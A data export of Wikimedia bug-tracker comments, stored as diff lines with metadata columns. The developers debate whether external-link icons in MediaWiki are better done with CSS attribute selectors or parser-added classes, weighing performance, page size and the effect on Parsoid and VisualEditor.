+* Avoid imposing requirements on VE and Parsoid to add arbitrary attributes that the applied stylesheets should maintain instead. Separating responsibility and concerns; Unless it's a huge performance penalty we really shouldn't consider adding hooks like these inside the Parser for the skins' convenience.
+
+* Avoid optimising arbitrarily for the needs of one skin (the classes we add would only be for certain protocols and include certain file extensions in the media types. If another consumer doesn't agree with our grouping or wants more, they'd be back to square one in using href-matching; ergo, the approach doesn't scale and signifies that it'd wrongly divide responsibility between parser and stylesheet.
+
+
+I'd recommend going with something like:
+
+.mw-body-content .external[href^=""https://""] {}",,,1404397752,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+258904,Large number of CSS rules for external links,"Re performance, I have not been able to find anything on the web that indicates that CSS selector performance is a significant issue in practice.
+
+This SO articles seems to provide a good overview:
+http://stackoverflow.com/questions/12279544/which-css-selectors-or-rules-can-significantly-affect-front-end-layout-renderi",,,1404340285,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+258896,Large number of CSS rules for external links,+1 to Roan and Gabriel.,,,1404337326,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+258888,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #69)
+> One issue I didn't mention yet is editor complexity. Every editor for our
+> HTML including VE will need to replicate the class logic from the parser.
+> This includes future micro-contribution tools like 'fix this link'. It seems
+> likely that this will lead to rendering inconsistencies when the logic
+> replication is not perfect.
+
+This is also a problem for VisualEditor. Even in the current system, not including any micro-contribution tools that Gabriel talks about, we would need three entirely separate copies of this logic, in:
+* MediaWiki's wikitext->HTML parser
+* Parsoid, to generate correct HTML
+* VisualEditor, to display newly created links correctly
+
+VE generally deals well with styling that comes from the parser side and displays it correctly, but in this case the user could create a link entirely from scratch, and that link might be a .pdf link. Then even though there may not be another .pdf link anywhere on the page, we still need to know that .pdf is magical and should trigger a certain CSS class in order to produce the correct rendering. That's why we need a full duplicate of the icon logic.
+
+So in general, we try to move this kind of logic fully *into* CSS, rather than *out of* CSS and into *code*. Last year this was done for auto-numbered external link numbering: instead of implementing a bunch of numbering logic both in Parsoid and in VE, we were able to number them entirely in CSS using CSS3 counters.
+
+With that in mind, I would much prefer that link icons be done in pure CSS, with attribute selectors in their full ""glory"". That way VisualEditor and any other clients that need to generate new HTML will not have to reimplement the logic from scratch, and instead will just be able to load the CSS. Unless attribute selectors are horrendously slow (which they're probably not, the original CSS rules for link icons date back to 2004), moving to classes just makes things worse, not better.",,,1404267558,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+258882,Large number of CSS rules for external links,One issue I didn't mention yet is editor complexity. Every editor for our HTML including VE will need to replicate the class logic from the parser. This includes future micro-contribution tools like 'fix this link'. It seems likely that this will lead to rendering inconsistencies when the logic replication is not perfect.,,,1404264536,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+258878,Large number of CSS rules for external links,"Oh, MediaWiki uses more advanced things for styling (like… LESS?), that was never the problem. The only problem was unspecified performance issues.
+
+But I really don't feel like introducing two new ways of doing such a little feature is the right thing to do from a maintainability standpoint (both the maintainability of core, and maintainability of any skins that might want to use different icons).",,,1404260905,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+258875,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #66)
+> As I said before, I'm okay with doing this either way (we can revert the old
+> patch that removed this feature in Vector), but let's please not do both
+> ways at once.
+
+We are using attribute matches for a bunch of things in any case, so it's not like somebody working on MediaWiki CSS would now be exposed to new CSS 2 selectors. The main change would be the introduction of classes to eliminate overly complex attribute matches on file extensions, which I think is fairly easy to understand.",,,1404145601,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+258871,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #64)
+> Looking at the linked CSS [1], to me it seems that the most complex rules
+> are those matching on file extensions to figure out video / audio / document
+> links. As those links are not that common relative to the total number of
+> links I'd expect classes to be a win overall for those.
+> 
+> Protocol matches on the other hand are a single selector only (no need for
+> upper case variants), and a large chunk of external links is neither to
+> videos, audio or document files. This seems to favor keeping those matches
+> in CSS to keep the document size down.
+> 
+> Does this sound like a promising solution to you?
+
+Eh, I'd prefer if we decided on only one way of doing this and stuck to it. This seems to be the worst of both worlds.
+
+As I said before, I'm okay with doing this either way (we can revert the old patch that removed this feature in Vector), but let's please not do both ways at once.",,,1404067893,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+258866,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #62)
+> The .plainlinks class was normally used to mark this up, and applied to all
+> links inside a content block. How does this work with classes on each link?
+
+.plainlinks .link-https has higher specificity than .link-https, so it's easy to disable the icon for plain links, if desired.
+
+(In reply to Gabriel Wicke from comment #64)
+> Looking at the linked CSS [1], to me it seems that the most complex rules
+> are those matching on file extensions to figure out video / audio / document
+> links. As those links are not that common relative to the total number of
+> links I'd expect classes to be a win overall for those.
+> 
+> Protocol matches on the other hand are a single selector only (no need for
+> upper case variants), and a large chunk of external links is neither to
+> videos, audio or document files. This seems to favor keeping those matches
+> in CSS to keep the document size down.
+
+I don't really know the performance details, but that seems reasonable.  PDF links are probably more common than audio/video, but still a minority.",,,1403925613,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+258861,Large number of CSS rules for external links,"Looking at the linked CSS [1], to me it seems that the most complex rules are those matching on file extensions to figure out video / audio / document links. As those links are not that common relative to the total number of links I'd expect classes to be a win overall for those.
+
+Protocol matches on the other hand are a single selector only (no need for upper case variants), and a large chunk of external links is neither to videos, audio or document files. This seems to favor keeping those matches in CSS to keep the document size down.
+
+Does this sound like a promising solution to you?
+
+[1]: https://gerrit.wikimedia.org/r/#/c/85920/2/skins/vector/externalLinks.less",,,1403807205,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1
+258855,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #62)
+> > I'd like to see us moving away from descendant selectors and explore OOCSS
+> > [1] as a solution to our CSS mess we have created. We really should be
+> > making better uses of classes, and not be restricted by the implementation
+> > restrictions of Parsoid.
+> 
+> I don't have a strong opinion on what's done in skins. My interest is
+> restricted to the content area. In general, we are currently moving away
+> from any skin- and pref- specific HTML (including classes) in the page
+> content. Our goal is to speed up page views for editors to the level of
+> current anonymous views. This means that any variation in rendering between
+> skins should be implemented in CSS only, and should not rely on different
+> classes being set depending on skin or user preferences.
+
+The suggested link classes are universal, they are not skin or user specific they are always in the dom dependent on what is in the dom.
+
+> (In reply to Daniel Friesen from comment #61)
+> > What if we ""don't"" want an icon?
+> 
+> The .plainlinks class was normally used to mark this up, and applied to all
+> links inside a content block. How does this work with classes on each link?
+
+.plainlinks will continue to work for content, in fact it'll work even better since classes have less specificity than attribute selectors.
+But I'm not talking about content, but rather code. Adding links to elements or parts of the skin that happen to be under the root the link styles are defined on. With classes all an extension has to do is not use a link class. It can also add that link class to links that wouldn't normally match the selector (an extension could decide to link to a PDF reader with a document link style even though the url wouldn't have matched a .pdf$ selector.
+And to top that off by using classes instead of attribute selectors we can drop the root (#content / #bodyContent / .mw-body) since interface links won't be ruined by them anymore, and code can opt-in to link styles outside of content.
+
+> (In reply to Daniel Friesen from comment #60)
+> > Are the byte sizes of a few link classes really a big deal for actions as
+> > infrequent as a save?
+> 
+> Page size is a big deal for uncompressed uploads, as upload speeds are
+> normally much slower than download speeds. Uploading a large article like
+> [[San Francisco]] from a DSL connection in San Francisco takes many seconds
+> (23 with current inline Parsoid metadata, around 7 without it), so a change
+> of 5% in the page size does have a measurable impact on save times, even on
+> a relatively fast connection. Things are worse than that when you are on a
+> bad connection in India.
+
+Which brings me to my other point:
+""Also I thought delta based saves were being done which make small byte size differences moot.""
+
+So in theory changing %5 of [[San Francisco]] should not involve uploading all of San Francisco. Unless VE is implemented really inefficiently, tiny additions like link classes shouldn't have as much effect on small edits. And if it is implemented that inefficiently, we have a larger problem than the bytes add to link classes.
+
+> > If they are, isn't there any serverside sanitization of the DOM? These are
+> > internally generated classes, so if it were an issue couldn't you just strip
+> > them before transmission and let the sanitizer or parsoid generate the
+> > classes?
+> 
+> We are working towards using Parsoid HTML for both views and editing, so
+> that you don't even loading a new page when switching to VE.
+
+Not relevant, my suggestion is that if you want size reduction on upload, then you could strip the link classes right before upload (which are automatically generated based on a set of rules) since and the server-side sanitizer (which should exist anyways to prevent the rules of the parser being intentionally screwed with or broken by an old VE version) would add them back. The parsoid output and view content (which are compressed and delivered by the faster download bandwidth) would still have the classes.",,,1403749130,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+258847,Large number of CSS rules for external links,"(In reply to Jon from comment #59)
+> Another reason is styles written in this way are not reusable.
+> 
+> What if we want to use the same audio icon elsewhere?
+> 
+> With an icon-audio selector class we can.
+> With a selector based on href we can't.
+
+This seems to overstate the case a bit. There's nothing stopping us from adding a selector in the CSS, and I don't see why that's more complex than adding the class in HTML. 
+
+> I'd like to see us moving away from descendant selectors and explore OOCSS
+> [1] as a solution to our CSS mess we have created. We really should be
+> making better uses of classes, and not be restricted by the implementation
+> restrictions of Parsoid.
+
+I don't have a strong opinion on what's done in skins. My interest is restricted to the content area. In general, we are currently moving away from any skin- and pref- specific HTML (including classes) in the page content. Our goal is to speed up page views for editors to the level of current anonymous views. This means that any variation in rendering between skins should be implemented in CSS only, and should not rely on different classes being set depending on skin or user preferences.
+
+All these decision are engineering trade-offs, not implementation restrictions. If there are good engineering reasons (performance and CSS sanity for example) for generally adding more classes in the DOM & dumbing down the CSS selectors, then I'd be all for it.
+
+So far our strongest performance data seems to be page sizes, as that's easy to measure. Quantitative data on the relative importance of selector performance on total page render time is missing so far. My anecdotal evidence is that it wasn't noticeable when I added external link icons in 2004, on a laptop that would be considered a feature phone these days.
+
+(In reply to Daniel Friesen from comment #61)
+> What if we ""don't"" want an icon?
+
+The .plainlinks class was normally used to mark this up, and applied to all links inside a content block. How does this work with classes on each link?
+
+(In reply to Daniel Friesen from comment #60)
+> Are the byte sizes of a few link classes really a big deal for actions as
+> infrequent as a save?
+
+Page size is a big deal for uncompressed uploads, as upload speeds are normally much slower than download speeds. Uploading a large article like [[San Francisco]] from a DSL connection in San Francisco takes many seconds (23 with current inline Parsoid metadata, around 7 without it), so a change of 5% in the page size does have a measurable impact on save times, even on a relatively fast connection. Things are worse than that when you are on a bad connection in India.
+
+> If they are, isn't there any serverside sanitization of the DOM? These are
+> internally generated classes, so if it were an issue couldn't you just strip
+> them before transmission and let the sanitizer or parsoid generate the
+> classes?
+
+We are working towards using Parsoid HTML for both views and editing, so that you don't even loading a new page when switching to VE.",,,1403744805,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+258840,Large number of CSS rules for external links,"(In reply to Jon from comment #59)
+> Another reason is styles written in this way are not reusable.
+
+I'll add one more reason.
+
+What if we ""don't"" want an icon? This should be as simple as not including the class. Using selectors this means you have to override a skin specific css rule, with an unknown weight to it. The selectors aren't even standardized yet, Vector used to use #content, MonoBook uses #bodyContent, and commonElements of course uses .mw-body (though for non-icon styles).",,,1403741384,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+258830,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #57)
+> @Daniel: long story, but basically gzip compression in HTTP only works in
+> the download direction.  There is no equivalent content negotiation for
+> uploads in HTTP.
+
+Oh you're talking about save sizes.
+
+Are the byte sizes of a few link classes really a big deal for actions as infrequent as a save?
+
+If they are, isn't there any serverside sanitization of the DOM? These are internally generated classes, so if it were an issue couldn't you just strip them before transmission and let the sanitizer or parsoid generate the classes?
+
+Also I thought delta based saves were being done which make small byte size differences moot.",,,1403738770,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+258823,Large number of CSS rules for external links,"Another reason is styles written in this way are not reusable.
+
+What if we want to use the same audio icon elsewhere?
+
+With an icon-audio selector class we can.
+With a selector based on href we can't.
+
+I'd like to see us moving away from descendant selectors and explore OOCSS [1] as a solution to our CSS mess we have created. We really should be making better uses of classes, and not be restricted by the implementation restrictions of Parsoid.
+
+[1] http://www.smashingmagazine.com/2011/12/12/an-introduction-to-object-oriented-css-oocss/",,,1403738706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+258816,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #57)
+> @Daniel: long story, but basically gzip compression in HTTP only works in
+> the download direction.  There is no equivalent content negotiation for
+> uploads in HTTP.
+
+JS implementations aren't universally a win on all browsers & hardware either. See https://bugzilla.wikimedia.org/show_bug.cgi?id=66914 for some related discussion.",,,1403737647,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+258809,Large number of CSS rules for external links,"@Daniel: long story, but basically gzip compression in HTTP only works in the download direction.  There is no equivalent content negotiation for uploads in HTTP.",,,1403737425,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+258802,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #52)
+> We have use cases where uncompressed HTML is sent over the wire (HTML save
+> from VE), so uncompressed DOM size does matter.
+
+Why is it not compressed?",,,1403737169,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+258797,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #54)
+> (In reply to Gabriel Wicke from comment #52)
+> > Do we have actual measurements that verify that this benefits total page
+> > view performance in practice?
+> 
+> We don't. Jon provided some funky tool in comment 11 but I've been unable to
+> get it to work. 
+
+Same here, it wouldn't even load for me.
+
+> Krinkle provided a theoretical explanation on why this
+> should make a difference in comment 10.
+
+Both of these aren't really telling us whether it's an overall win, draw or loss to add extra classes in the DOM & use those rather than match on existing properties. They both focus on one part of the picture only, and lack quantitative data. Only measurements can really answer this question.
+
+> (In reply to Gabriel Wicke from comment #53)
+> > One more note on browser support: IIRC these selectors were already
+> > supported by IE 6 in 2004.
+> 
+> Not by IE 6, but by every other browser, yes. IE 7+ supports them too.
+
+Ah, okay. Misremembered that then ;)",,,1403736790,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+258792,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #52)
+> Do we have actual measurements that verify that this benefits total page
+> view performance in practice?
+
+We don't. Jon provided some funky tool in comment 11 but I've been unable to get it to work. Krinkle provided a theoretical explanation on why this should make a difference in comment 10.
+
+
+> If there is no measurable improvement on page
+> view / rendering even on mobile, then I'd propose to keep this in CSS to
+> avoid slowing down use cases like VE saves.
+
+You are actually proposing restoring this to CSS :), because it's already been removed (in spite of working well since 2004). I wouldn't mind that, personally.
+
+
+(In reply to Gabriel Wicke from comment #53)
+> One more note on browser support: IIRC these selectors were already
+> supported by IE 6 in 2004.
+
+Not by IE 6, but by every other browser, yes. IE 7+ supports them too.",,,1403735921,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+258787,Large number of CSS rules for external links,One more note on browser support: IIRC these selectors were already supported by IE 6 in 2004.,,,1403734881,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+258782,Large number of CSS rules for external links,"We have use cases where uncompressed HTML is sent over the wire (HTML save from VE), so uncompressed DOM size does matter.
+
+Do we have actual measurements that verify that this benefits total page view performance in practice? If there is no measurable improvement on page view / rendering even on mobile, then I'd propose to keep this in CSS to avoid slowing down use cases like VE saves.",,,1403734104,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+258777,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #50)
+> Hm, Parsoid does not tag links with classes.  The only CSS would work fine
+> for parsoid-generated HTML; the new CSS will not.
+
+That is a bug in parsoid. We've required the .external class at minimum for years, parsoid should be able to handle link classes.",,,1403733775,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+258773,Large number of CSS rules for external links,"Hm, Parsoid does not tag links with classes.  The only CSS would work fine for parsoid-generated HTML; the new CSS will not.",,,1403733257,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+258769,Large number of CSS rules for external links,"We'll have https (secure) and external link icons in wiki font soon (probably already) but wiki font isn't in core yet, these issues are related but could be separate too.",,,1403727638,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+258765,Large number of CSS rules for external links,"Change 141973 had a related patch set uploaded by Bartosz Dziewoński:
+Linker: Add CSS classes to external links to some protocols/filetypes
+
+https://gerrit.wikimedia.org/r/141973",,,1403727424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258762,Large number of CSS rules for external links,"I've looked at this again now that things have cooled down. I still do not like this solution, and I still like this alternative proposed a long time ago:
+
+(In reply to Bartosz Dziewoński from comment #13)
+> (In reply to Jon from comment #11)
+> > That aside use of a single class .link-https rather than a
+> > combination of class .link-https, div#content a.external[href
+> > ^=""https://""] would be preferable for a variety of reasons
+> > readability, maintainability, reduced file size... are you really
+> > telling me this is not a no-brainer?
+> 
+> Using the classes as you proposed does seem sane and mostly non-troublesome
+> (apart from the classic caching issues). I am perfectly fine with doing that
+> (as long as I'm not the one who will have to jerry-rig the Parser).
+
+So I looked at the Parser, or in fact the Linker, and doing this is actually amusingly trivial. Pity no one did this the first time around.
+
